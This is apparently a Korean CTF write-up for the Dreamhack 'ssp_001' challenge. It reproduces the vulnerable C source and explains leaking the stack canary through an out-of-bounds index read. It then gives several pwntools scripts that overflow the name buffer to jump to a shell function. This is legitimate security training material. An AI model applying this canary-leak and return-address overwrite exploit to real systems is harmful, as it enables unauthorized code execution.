시스템해킹

dreamhack ssp_001 writeup

세종대학교 S.S.G / WHS 2기 2023. 11. 16. 22:58
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

메인 함수를 보면 0x40 크기의 box가 있고, name, select 배열이 있다.

menu함수를 통해 메뉴를출력하고 select에 read한다.

select가 F값일 시 box input : 이라는 출력과 함께 0x40(64)만큼의 string을 read한다.

P는 idx값을 입력받고, 이후 해당 박스 인덱스에 해당하는 값을 출력한다. 여기서 박스의 크기인 64이상인 65를 입력해도 해당 주소의 값을 반환해주긴 한다.

E는 이름의 길이를 입력 받은 후 이름의 길이만큼 입력받고 함수를 종료한다.

name의 len을 마음대로 지정할 수 있는 점에서 name의 범위를 넘어서 read 할 수 있다.

각 변수의 주소들

Select : 0xffffd06e

box : 0xffffd090

name : 0xffffd0d0

유일하게 name변수만 buffer over flow 공격을 할 수 있따.

 

카나리 변조에 실패해서 stack chk fail 함수가 실행되는 것을 볼 수 있따.

 

카나리 값은 x7ffcb80dc926a00 이고

returnaddress 는 x7da0519f7ffd020이다.

하지만 매번 변하는 카나리 값…

 

 

카나리의 주소는 0xffffd110 부터 8바이트

 

box값을 입력했을때

그럼 여기서 print함수로 129~136까지 출력하면 카나리 값이 나올듯.

 

나온다!!

그러면 익스플로잇으로

129~136까지 반복문 돌면서 카나리 값을 얻은 후에, returnaddress 전에 해당 값을 삽입 + returnaddress 하면 될듯.

 

from pwn import *


p = process('./ssp_001')
canari = ""
for i in range(135,127,-1):
    p.recvuntil(b"> ")
    p.sendline(b"P")
    p.recvuntil(b"Element index : ")
    p.sendline(str(i).encode())
    p.recvuntil(b"is : ")
    canari+=str(p.recv(2).decode())

canari = int(canari,16)
print(hex(canari))



p.close()

카나리를 얻는데 성공했다.

 

 

get_shell 주소인 0x80486b9를 name buffer에 카나리와 함께 작성하여서 return address를 수정하자.

name buffer의 크기는 64바이트임으로 삽입 코드는

‘a’*64 + 카나리 + 0x80486b9이다.

 

내가 입력한 값이 잘 들어갔나 보기 위해서 gdb.attatch(p) 를 통해 디버깅을 해봤다.

 

from pwn import *


p = process('./ssp_001')
canari = ""
for i in range(135,127,-1):
    p.recvuntil(b"> ")
    p.sendline(b"P")
    p.recvuntil(b"Element index : ")
    p.sendline(str(i).encode())
    p.recvuntil(b"is : ")
    canari+=str(p.recv(2).decode())

canari = int(canari,16)
print(hex(canari))

p.recvuntil(b"> ")
p.sendline(b"E")
gdb.attach(p)
p.recvuntil(b"Name Size : ")
pause()
p.sendline(b"80")
buffer = b"A"*64 + p64(canari) + p64(0x80486b9)

print(buffer)
p.recvuntil(b"Name : ")

p.sendline(buffer)
p.interactive()
p.close()

 

 

b * main + 279

x/100x 0xffa3f9f0

카나리 변조가 안됐다고 판단하고 잘 넘어갔지만 returnadress형식이 잘못됐다.

buffer = b"A"*64 + p64(canari) + p64(0x80486b9000000000)

이런식으로 넣으면 0x80486b90이 되어서 이상한 주소가 됐다.

그래서 0x8048이 아닌 0x08048~ 로 작성했더니 쉘이 따진다.

이제 remote로 실행해봐야겠다.

 

from pwn import *


p = process('./ssp_001')
canari = ""
for i in range(135,127,-1):
    p.recvuntil(b"> ")
    p.sendline(b"P")
    p.recvuntil(b"Element index : ")
    p.sendline(str(i).encode())
    p.recvuntil(b"is : ")
    canari+=str(p.recv(2).decode())

canari = int(canari,16)
print(hex(canari))

p.recvuntil(b"> ")
p.sendline(b"E")
#gdb.attach(p)
p.recvuntil(b"Name Size : ")
#pause()
p.sendline(b"80")
buffer = b"A"*64 + p64(canari) + p64(0x080486b900000000)

print(buffer)
p.recvuntil(b"Name : ")

p.sendline(buffer)
p.interactive()
p.close()